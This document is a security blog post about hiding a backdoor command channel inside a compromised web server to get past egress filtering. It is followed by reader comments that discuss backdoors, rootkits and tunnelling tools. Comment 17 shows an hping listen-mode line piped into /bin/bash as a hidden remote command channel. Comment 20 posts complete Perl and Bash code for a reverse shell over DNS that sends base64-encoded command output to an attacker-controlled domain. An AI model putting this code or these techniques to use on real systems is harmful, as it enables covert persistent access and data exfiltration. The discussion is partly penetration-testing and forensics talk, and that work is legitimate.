Cenzic 232 Patent
Paid Advertising
web application security lab

Process Doubling

I was working on a client a week ago or so and we completely compromised their network. It’s a fairly common occurrence during an audit (given there are logistical reasons that make many common techniques off limits). It was mission accomplished for showing the vulnerabilities in the client. However, I started thinking about the firewall egress filtering, or lack thereof. Granted, creating a reverse shell is fairly straight forward, but what if the situation was slightly different. What if there was egress filtering and I ended up rooting a web server? And in this situation let’s pretend that it was set up so that all that’s allowed out is port 80 and 443. What now? I can’t kill the web server, or people will certainly notice, and I can’t tunnel out on any other ports which are already locked up by the web server, so what alternative do I have?

Sure, I could use some of the modern rootkits that talk outside of the TCP by sending single packets but some anti-DDoS boxes out there stop that sort of connection from even hitting a box. They do this for flood protection. They wait for a full TCP state to be initiated before they connect to the web server behind them (similar to a proxy server actually).

Here’s where some programming skill could come into play. Why not re-program a web-server to also listen as if it were an IRC server or telnet or something else for back and forth real-time communication. We already have root access, so it’s easy enough to start and stop the process. It’s also fairly easy with some programming to create a switch in the code, to look for a different string and jump into a different mode. It could be a clever way around a fairly complex set of circumstances. Anyway, yet another odd thought.

21 Responses to “Process Doubling”

  1. Bob Says:

    I had a client specifically ask for something like this about 6 months ago. He was happy with the result he got. So yes, this is very possible. Basically what I did was change apache to respond to a specific URL, when that URL is requested it began a SSH server and poof, you’re in. Not very complicated at all if you know your code.

  2. Jordan Says:

    If you’re owning a webserver, it seems much simpler to drop a web-based backdoor somewhere on it. That’s much more useful for a few reasons:

    First, you can use https to bypass any network monitoring (the exception being devices either terminating via a MITM, or loaded with the private key of the web server [double aside — depending on the SSL settings, even having the private key and listening passively along the wire won’t allow you to decrypt the session]).

    Second, it’s /much/ harder to find a either rogue http script, or even an intentionally introduced backdoor in existing code than it is to locate a separate process or tool running on the box. Yeah, a rootkit can help hide your new process, but it’s still susceptible to offline analysis. My money is on the web-based backdoor for survivability every time.

  3. RSnake Says:

    @Bob - very cool. It just occurred to me that although we are also talking about this being used for nefarious purposes it could also be used by good guys who want to obfuscate that they have additional ports open. That would a) make blackbox auditing more difficult and b) would start evading the original purpose of the egress filtering long term the more this kind of stuff happens. Pretty funny when you think about it. Just another way to abuse the port restrictions built into firewalls (even when configured properly).

  4. Jordan Says:

    Ok, so I went back and read more carefully, and I see you don’t mean have it spawn a new process, but in the webserver itself initiate a new protocol.

    Still, I like the idea of a new file in the webroot somewhere better than modifying the web service itself. Too many file system monitoring tools will catch the later but not the former.

  5. RSnake Says:

    @Jordan - funny, I just went through a forensics case about six months ago where the attacker felt the same way you did. But they also backdoored an IIS process as well. I found both (the cold fusion backdoors were far easier to find btw) while it was running and removed both (had to shut down the web server to remove that backdoor, obviously). I personally don’t see rogue scripts as having a high survivability, but that has more to do with the way I think people should do revision control. But to each their own!

    I have a post that I’m itching to write about this very same topic - but it’ll have to wait until I get a chance to do some more research. It’s a tough problem, that’s for sure. Ahh, if I only could clone myself!

  6. Jordan Says:

    @RSnake: Oh, I agree, if folks are doing proper revision control for both their webapps and static content, it would be hard to hide a web content backdoor. Still, if they’re doing that, it seems that they also should be doing file-system forensics for system processes, and backdooring the web server won’t work, either.

    It’s an interesting idea, it just seems like a lot of work for not much more gain than the simpler route.

    The trick, btw, is not to clone yourself, you just have to learn to function without sleep. As soon as I figure that one out, I’ll let you know… ;-)

  7. RSnake Says:

    @Jordan - Yah, tripwire/ftimes, etc… are great products. But this goes back to the other post I want to do with time. There’s some other cool technologies out there that might be interesting.

    Anyway, yes, give me the magic potion! Unless it’s called speed. In that case I’ll just stick to being slow on the posts. It’s got a longer lifespan associated with it.

  8. Dave Aitel Says:

    Don’t most people just use a outgoing HTTP trojan to evade egress filters? If you want to be super stealthy, you can use something like PINK. (http://www.immunityinc.com/downloads/BeyondFastFlux.odp)

  9. Eduardo Tongson Says:

    There is a Linux rootkit that can intercept web traffic via an in-memory web server. If I am not mistaken that is how the Random JS toolkit can insert those HTML tags.

    I would not be too hard to modify this in-memory web server to be a backdoor . E.g. when it sees a arbitrary string on a request it starts another stream for a backdoor.

  10. haroon meer Says:

    Heya..

    Although somewhat lost in the noise of it all, a portion of our 2007 paper “its all about the timing” actually dealt with beating egress filters through timing (and other mechanisms).. [https://www.blackhat.com/presentations/bh-usa-07/Meer_and_Slaviero/Presentation/bh-usa-07-meer_and_slaviero.pdf , https://www.blackhat.com/presentations/bh-usa-07/Meer_and_Slaviero/Whitepaper/bh-usa-07-meer_and_slaviero-WP.pdf ]

    if you check out what “squeeza” http://www.sensepost.com/research/squeeza/ eventually became, its an abstraction layer for outbound comms from a server.. Got DNS? sure it will use it.. Got verbose error messages? no problem.. At worst.. Got timing?.. Ultimately you should be able to tunnel anything over it since its clean binary safe transport over acceptable traffic..

    /mh

  11. MartinM Says:

    We have an “egg.exe” program that does exactly that when we need to demonstrate to the client that we can communicate freely with rooted webserver without making the webserver inaccessible even when there is only a single port available through the firewall. On Windows, you can run more programs listening on a single port. Our program gets in the way, checks if the data in a new connection doesn’t start with a ‘!’ string (where command could basicaly be either “run this and that” or “redirect this connection to IP:port”) and if not, automatically redirects the traffic to the real server. Using a special preloaded library on the client side, we are (for example) able to use standard VNC client to tunnel through the “egg” to the destination server without affecting the availability of the real webserver.

  12. John Ther Says:

    Check this out : http://pentestmonkey.net/tools/php-findsock-shell/

    Same concept can be applied to lots of different places. If this is possible, this is definately a better option.

    Also in windows scenarios again you got several different ways to do it, like dll injection and stuff. Should be a much stealthier and easier and independent of process.

  13. Jason Macpherson Says:

    Check out mod_rootme.
    http://packetstorm.linuxsecurity.com/web/mod_rootme-0.3.tgz

  14. LonerVamp Says:

    Host headers? Just attach into the subfolders of an existing site?

  15. downalrus Says:

    This sort of reminds me of one of the most clever Windows rootkits in recent memory (Hacker Defender). Utilizing a self-inflicted quasi-buffer overflow, this rootkit could hide itself on any currently running port without degrading or impacting the currently running process, such as IIS or FTP

  16. Mike Says:

    Why not set up PPTP over web on the server. Similar technique to what Kaminsky did with slurpie with his DNS pinning attacks.

  17. Robert E. Lee Says:

    “And in this situation letís pretend that it was set up so that all thatís allowed out is port 80 and 443. What now? I canít kill the web server, or people will certainly notice, and I canít tunnel out on any other ports which are already locked up by the web server, so what alternative do I have?”

    There are a lot of alternatives. One that was used a few years back (~2000-2003) was similar to hpings -9 (or –listen) mode, which basically monitors at all in bound connections for a keyword and can then act as a command channel.

    Something as simple as:
    # hping -9 foo | /bin/bash
    Warning: Unable to guess the output interface
    hping2 listen mode
    [main] memlockall(): Success
    Warning: can’t disable memory paging!

    would make it so you could telnet to the web server on port 443 and execute a command:
    $ telnet localhost 443
    Trying 127.0.0.1…
    Connected to localhost.
    Escape character is ‘^]’.
    fools;

    Looking back at the command window:
    # hping -9 foo | /bin/bash
    Warning: Unable to guess the output interface
    hping2 listen mode
    [main] memlockall(): Success
    Warning: can’t disable memory paging!
    index.html unicornscan
    : command not found

    In the directory I ran hping in, there were only the index.html file and unicornscan directory… but I could have run any command.

    There are other things you can do to make it interactive, but you get the idea. You don’t have to bind to a specific port just to pass commands.

    –Robert

  18. Jacob Says:

    I worked for a hosting company before (not fugusystems) and “process doubling” was very common: php reverse shell, etc. The problem was that this company don’t think about security risk, and when I talked to persons who leads the company, they don’t watch me at all and I have no chance to deploy a WAF.

  19. UnsignedLong Says:

    A better way in my opinion is the use of the function ptrace()

    here is a good (german) pdf about ptrace()
    http://www.getdigital.de/download/ptrace.pdf

  20. Toto Says:

    #!/usr/bin/perl
    use MIME::Base64;
    use Net::DNS::Nameserver;
    use IPC::Shareable;
    use warnings;
    my $tw = “”;
    $hn = tie $cmd, ‘IPC::Shareable’, undef, { destroy => 1 };
    $cmd=”";
    $SIG{INT} = sub { die “$$ dying\n” };
    $domain = “badman.censored.org”;
    my %data;

    sub fake_shell {
    sleep 1;
    while(1){
    $tmp = ;
    $hn->shlock();
    $cmd = $tmp;
    $hn->shunlock();
    }
    }

    sub reply_handler {
    my ($qame, $qclass, $qtype, $peerhost, $query) = @_;
    my ($rcode, @ans, @auth, @add);
    if($qtype eq “CNAME”){
    $qname = $qame;
    if ($qname =~ /$domain/) {
    $qname =~ s/\.$domain//;
    $rcode = “NOERROR”;
    if ($qname =~ /.+\..+\..+/){
    ($redata, $reid, $recommand) = split(/\./,$qname);
    if($recommand eq “output”){
    $data{$reid} = $redata;
    $reply = “thanks.$domain”;
    }else{
    $reply = “error.$domain”
    }
    }elsif($qname =~/[a-z]/){
    $recommand = $qname;
    if($recommand eq “input”){
    if($cmd ne “”){
    $hn->shlock();
    $reply = encode_base64($cmd);
    $cmd =”";
    $hn->shunlock();
    $reply =~ s/\n//;
    #$reply =~ s/=//;
    }else{
    $reply = “nocommand.$domain”;
    }
    }elsif($recommand eq “done”){
    $tmp =”";
    foreach (sort { $a $b } keys(%data) )
    {
    $tmp .= $data{$_};
    }
    %data = ();
    print decode_base64($tmp);
    print “You may enter another command…\n”;
    $reply = “thanks.$domain”;
    }else{
    $reply = “error.$domain”;
    }
    }else{
    $reply = “error.$domain”;
    }
    my ($ttl, $rdata) = (0, $reply);
    push @ans, Net::DNS::RR->new(”$qame $ttl $qclass $qtype $rdata”);
    }else{
    $rcode = “NXDOMAIN”;
    }
    }else{
    $rcode = “NXDOMAIN”;
    }
    return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
    }

    my $ns = Net::DNS::Nameserver->new(
    LocalPort => 53,
    ReplyHandler => \&reply_handler,
    Verbose => 0,
    ) || die “couldn’t create nameserver object\n”;

    unless ($child = fork) {
    die “fork(): $!” unless defined $child;
    fake_shell;
    exit;
    }

    print “Launching DNSd\n”;
    $ns->main_loop;

    #!/usr/local/bin/bash
    domain=badman.censored.org
    function sendoutput {
    output=`$input 2>&1|openssl base64|tr -d ‘\n.=’`
    (for((i=0;i/dev/null
    done
    host -t cname done.$domain &>/dev/null
    )
    }

    while true
    do
    input=`host -t cname input.$domain|tail -n 1`
    if [[ `echo $input|grep -c nocommand` -eq 0 ]]; then
    input=${input//input.$domain is an alias for}
    input=${input//./}
    input=`echo $input|openssl base64 -d`
    sendoutput
    fi
    sleep 1
    done

    Probably not the cleanest code I’ve ever written, it works. Reverse shell over DNS, using only utilities in the base install of most *nixs (even Solaris base install comes with Bash these days).

  21. hybriz Says:

    if proper egress filtering is in order, you might not even be able to SYN out of the box towards the internet… might even not be able to punch through with UDP or even DNS. no worry.

    by putting code on IIS (cgi would work), use getpeername(2) to find the socket of the current HTTP/S connection, since it’s HTTP/1.1 keepalive is assumed so the connection will not end after the first request. so you find the socket on the server side, spawn a shell and reuse the socket to pipe output dup2()-style.

    I think this is doable in Windows, I’ll port my *nix code to win32 and give some feedback later. anyhow in a lot of situations, specially when the point of entry is DMZ’s and such, you’re only able to do the inbound connection to the box this is one of the few methods I know to reuse the connection in a nice manner without adding much to the existing infrastructure or normal network traffic (since HTTP/S is legit traffic).